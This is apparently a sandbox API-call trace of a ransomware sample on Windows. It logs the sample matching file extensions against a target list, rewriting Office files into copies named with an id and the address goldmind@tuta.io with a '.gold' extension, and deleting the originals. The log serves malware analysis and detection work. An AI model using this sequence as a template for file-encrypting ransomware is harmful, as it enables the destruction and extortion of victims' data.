[0105.987] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0105.987] lstrlenW (lpString=".pdf") returned 4 [0105.987] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0105.987] lstrlenW (lpString=".xls") returned 4 [0105.987] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0105.987] lstrlenW (lpString=".xlsx") returned 5 [0105.987] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0105.987] lstrlenW (lpString=".ppt") returned 4 [0105.987] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0105.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68 [0105.987] lstrlenW (lpString=".zip") returned 4 [0105.987] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0105.987] lstrlenW (lpString=".rar") returned 4 [0105.987] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0105.987] lstrlenW (lpString=".bz2") returned 4 [0105.987] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0105.987] lstrlenW (lpString=".7z") returned 3 [0105.987] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0105.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68 [0105.987] lstrlenW (lpString=".dbf") returned 4 [0105.987] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0105.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68 [0105.987] lstrlenW (lpString=".1cd") returned 4 [0105.987] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0105.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68 [0105.987] lstrlenW (lpString=".jpg") returned 4 [0105.987] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0105.987] lstrcmpiW (lpString1=".SCM", lpString2=".gold") returned 1 [0105.987] lstrlenW (lpString="PUBCOLOR.SCM") returned 12 [0105.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubcolor.scm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0105.988] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=28160) returned 1 [0105.988] CloseHandle (hObject=0x3ac) returned 1 [0105.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubcolor.scm")) returned 0x20 [0105.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubcolor.scm.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubcolor.scm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0105.988] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.988] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubcolor.scm.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0105.989] GetLastError () returned 0x0 [0105.989] ReadFile (in: hFile=0x3ac, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x6e00, lpOverlapped=0x0) returned 1 [0105.991] WriteFile (in: hFile=0x394, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x6e10, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x6e10, lpOverlapped=0x0) returned 1 [0105.992] ReadFile (in: hFile=0x3ac, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0105.992] WriteFile (in: hFile=0x394, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0105.993] SetEndOfFile (hFile=0x394) returned 1 [0105.993] CloseHandle (hObject=0x394) returned 1 [0105.993] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.993] SetEndOfFile (hFile=0x3ac) returned 1 [0105.995] CloseHandle (hObject=0x3ac) returned 1 [0105.995] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.995] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubcolor.scm")) returned 1 [0105.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60 [0105.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60 [0105.997] lstrlenW (lpString=".doc") returned 4 [0105.997] lstrcmpiW (lpString1=".doc", lpString2=".SCM") returned -1 [0105.997] lstrlenW (lpString=".docx") returned 5 [0105.997] lstrcmpiW (lpString1=".docx", lpString2="R.SCM") returned -1 [0105.997] lstrlenW (lpString=".pdf") returned 4 [0105.997] lstrcmpiW (lpString1=".pdf", lpString2=".SCM") returned -1 [0105.997] lstrlenW (lpString=".xls") returned 4 [0105.997] lstrcmpiW (lpString1=".xls", lpString2=".SCM") returned 1 [0105.997] lstrlenW (lpString=".xlsx") returned 5 [0105.998] lstrcmpiW (lpString1=".xlsx", lpString2="R.SCM") returned -1 [0105.998] lstrlenW (lpString=".ppt") returned 4 [0106.013] lstrcmpiW (lpString1=".ppt", lpString2=".SCM") returned -1 [0106.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60 [0106.013] lstrlenW (lpString=".zip") returned 4 [0106.013] lstrcmpiW (lpString1=".zip", lpString2=".SCM") returned 1 [0106.013] lstrlenW (lpString=".rar") returned 4 [0106.015] lstrcmpiW (lpString1=".rar", lpString2=".SCM") returned -1 [0106.015] lstrlenW (lpString=".bz2") returned 4 [0106.015] lstrcmpiW (lpString1=".bz2", lpString2=".SCM") returned -1 [0106.015] lstrlenW (lpString=".7z") returned 3 [0106.015] lstrcmpiW (lpString1=".7z", lpString2="SCM") returned -1 [0106.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60 [0106.015] lstrlenW (lpString=".dbf") returned 4 [0106.015] lstrcmpiW (lpString1=".dbf", lpString2=".SCM") returned -1 [0106.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60 [0106.015] lstrlenW (lpString=".1cd") returned 4 [0106.015] lstrcmpiW (lpString1=".1cd", lpString2=".SCM") returned -1 [0106.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60 [0106.015] lstrlenW (lpString=".jpg") returned 4 [0106.015] lstrcmpiW (lpString1=".jpg", lpString2=".SCM") returned -1 [0106.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60 [0106.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60 [0106.015] lstrlenW (lpString=".doc") returned 4 [0106.015] lstrcmpiW (lpString1=".doc", lpString2=".SCM") returned -1 [0106.015] lstrlenW (lpString=".docx") returned 5 [0106.015] lstrcmpiW (lpString1=".docx", lpString2="R.SCM") returned -1 [0106.015] lstrlenW (lpString=".pdf") returned 4 [0106.015] lstrcmpiW (lpString1=".pdf", lpString2=".SCM") returned -1 [0106.015] lstrlenW (lpString=".xls") returned 4 [0106.015] lstrcmpiW (lpString1=".xls", lpString2=".SCM") returned 1 [0106.015] lstrlenW (lpString=".xlsx") returned 5 [0106.015] lstrcmpiW (lpString1=".xlsx", lpString2="R.SCM") returned -1 [0106.015] lstrlenW (lpString=".ppt") returned 4 [0106.015] lstrcmpiW (lpString1=".ppt", lpString2=".SCM") returned -1 [0106.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60 [0106.015] lstrlenW (lpString=".zip") returned 4 [0106.015] lstrcmpiW (lpString1=".zip", lpString2=".SCM") returned 1 [0106.015] lstrlenW (lpString=".rar") returned 4 [0106.015] lstrcmpiW (lpString1=".rar", lpString2=".SCM") returned -1 [0106.015] lstrlenW (lpString=".bz2") returned 4 [0106.015] lstrcmpiW (lpString1=".bz2", lpString2=".SCM") returned -1 [0106.015] lstrlenW (lpString=".7z") returned 3 [0106.015] lstrcmpiW (lpString1=".7z", lpString2="SCM") returned -1 [0106.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60 [0106.015] lstrlenW (lpString=".dbf") returned 4 [0106.015] lstrcmpiW (lpString1=".dbf", lpString2=".SCM") returned -1 [0106.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60 [0106.016] lstrlenW (lpString=".1cd") returned 4 [0106.016] lstrcmpiW (lpString1=".1cd", lpString2=".SCM") returned -1 [0106.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60 [0106.016] lstrlenW (lpString=".jpg") returned 4 [0106.016] lstrcmpiW (lpString1=".jpg", lpString2=".SCM") returned -1 [0106.016] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0106.016] lstrlenW (lpString="PUBWZINT.DLL") returned 12 [0106.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0106.017] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=171368) returned 1 [0106.017] CloseHandle (hObject=0x3ac) returned 1 [0106.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.dll")) returned 0x20 [0106.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0106.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0106.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60 [0106.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60 [0106.018] lstrlenW (lpString=".doc") returned 4 [0106.018] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0106.018] lstrlenW (lpString=".docx") returned 5 [0106.018] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0106.018] lstrlenW (lpString=".pdf") returned 4 [0106.018] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0106.018] lstrlenW (lpString=".xls") returned 4 [0106.018] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0106.018] lstrlenW (lpString=".xlsx") returned 5 [0106.018] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0106.018] lstrlenW (lpString=".ppt") returned 4 [0106.018] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0106.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60 [0106.018] lstrlenW (lpString=".zip") returned 4 [0106.018] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0106.018] lstrlenW (lpString=".rar") returned 4 [0106.018] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0106.018] lstrlenW (lpString=".bz2") returned 4 [0106.018] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0106.018] lstrlenW (lpString=".7z") returned 3 [0106.018] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0106.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60 [0106.018] lstrlenW (lpString=".dbf") returned 4 [0106.018] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0106.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60 [0106.018] lstrlenW (lpString=".1cd") returned 4 [0106.018] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0106.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60 [0106.018] lstrlenW (lpString=".jpg") returned 4 [0106.018] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0106.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60 [0106.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60 [0106.018] lstrlenW (lpString=".doc") returned 4 [0106.018] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0106.018] lstrlenW (lpString=".docx") returned 5 [0106.018] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0106.018] lstrlenW (lpString=".pdf") returned 4 [0106.018] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0106.018] lstrlenW (lpString=".xls") returned 4 [0106.018] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0106.018] lstrlenW (lpString=".xlsx") returned 5 [0106.018] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0106.018] lstrlenW (lpString=".ppt") returned 4 [0106.018] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0106.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60 [0106.018] lstrlenW (lpString=".zip") returned 4 [0106.018] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0106.018] lstrlenW (lpString=".rar") returned 4 [0106.018] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0106.018] lstrlenW (lpString=".bz2") returned 4 [0106.018] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0106.018] lstrlenW (lpString=".7z") returned 3 [0106.018] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0106.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60 [0106.018] lstrlenW (lpString=".dbf") returned 4 [0106.018] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0106.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60 [0106.019] lstrlenW (lpString=".1cd") returned 4 [0106.019] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0106.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60 [0106.019] lstrlenW (lpString=".jpg") returned 4 [0106.019] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0106.019] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".gold") returned 1 [0106.019] lstrlenW (lpString="PUBWZINT.REST.IDX_DLL") returned 21 [0106.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0106.021] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=173952) returned 1 [0106.022] CloseHandle (hObject=0x3ac) returned 1 [0106.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.rest.idx_dll")) returned 0x20 [0106.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.rest.idx_dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0106.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0106.022] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.022] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.rest.idx_dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0106.023] GetLastError () returned 0x0 [0106.023] ReadFile (in: hFile=0x3ac, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x2a780, lpOverlapped=0x0) returned 1 [0106.399] WriteFile (in: hFile=0x394, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x2a790, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x2a790, lpOverlapped=0x0) returned 1 [0106.852] ReadFile (in: hFile=0x3ac, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0106.852] WriteFile (in: hFile=0x394, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xfe, lpOverlapped=0x0) returned 1 [0106.852] SetEndOfFile (hFile=0x394) returned 1 [0106.852] CloseHandle (hObject=0x394) returned 1 [0106.852] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.852] SetEndOfFile (hFile=0x3ac) returned 1 [0106.860] CloseHandle (hObject=0x3ac) returned 1 [0106.860] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0106.964] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.rest.idx_dll")) returned 1 [0106.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69 [0106.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69 [0106.965] lstrlenW (lpString=".doc") returned 4 [0106.965] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0106.965] lstrlenW (lpString=".docx") returned 5 [0106.965] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0106.965] lstrlenW (lpString=".pdf") returned 4 [0106.965] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0106.965] lstrlenW (lpString=".xls") returned 4 [0106.965] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0106.965] lstrlenW (lpString=".xlsx") returned 5 [0106.965] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0106.965] lstrlenW (lpString=".ppt") returned 4 [0106.965] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0106.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69 [0106.965] lstrlenW (lpString=".zip") returned 4 [0106.965] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0106.965] lstrlenW (lpString=".rar") returned 4 [0106.965] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0106.965] lstrlenW (lpString=".bz2") returned 4 [0106.965] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0106.965] lstrlenW (lpString=".7z") returned 3 [0106.965] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0106.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69 [0106.965] lstrlenW (lpString=".dbf") returned 4 [0106.965] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0106.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69 [0106.965] lstrlenW (lpString=".1cd") returned 4 [0106.965] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0106.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69 [0106.965] lstrlenW (lpString=".jpg") returned 4 [0106.965] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0106.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69 [0106.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69 [0106.966] lstrlenW (lpString=".doc") returned 4 [0106.966] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0106.966] lstrlenW (lpString=".docx") returned 5 [0106.966] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0106.966] lstrlenW (lpString=".pdf") returned 4 [0106.966] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0106.966] lstrlenW (lpString=".xls") returned 4 [0106.966] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0106.966] lstrlenW (lpString=".xlsx") returned 5 [0106.966] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0106.966] lstrlenW (lpString=".ppt") returned 4 [0106.966] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0106.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69 [0106.966] lstrlenW (lpString=".zip") returned 4 [0106.966] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0106.966] lstrlenW (lpString=".rar") returned 4 [0106.966] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0106.966] lstrlenW (lpString=".bz2") returned 4 [0106.966] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0106.966] lstrlenW (lpString=".7z") returned 3 [0106.966] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0106.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69 [0106.966] lstrlenW (lpString=".dbf") returned 4 [0106.966] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0106.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69 [0106.966] lstrlenW (lpString=".1cd") returned 4 [0106.966] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0106.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69 [0106.966] lstrlenW (lpString=".jpg") returned 4 [0106.966] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0106.966] lstrcmpiW (lpString1=".VSL", lpString2=".gold") returned 1 [0106.966] lstrlenW (lpString="SHAPNUM.VSL") returned 11 [0106.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\shapnum.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0106.985] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=42352) returned 1 [0106.985] CloseHandle (hObject=0x38c) returned 1 [0106.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\shapnum.vsl")) returned 0x20 [0106.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\shapnum.vsl.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\shapnum.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0107.005] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 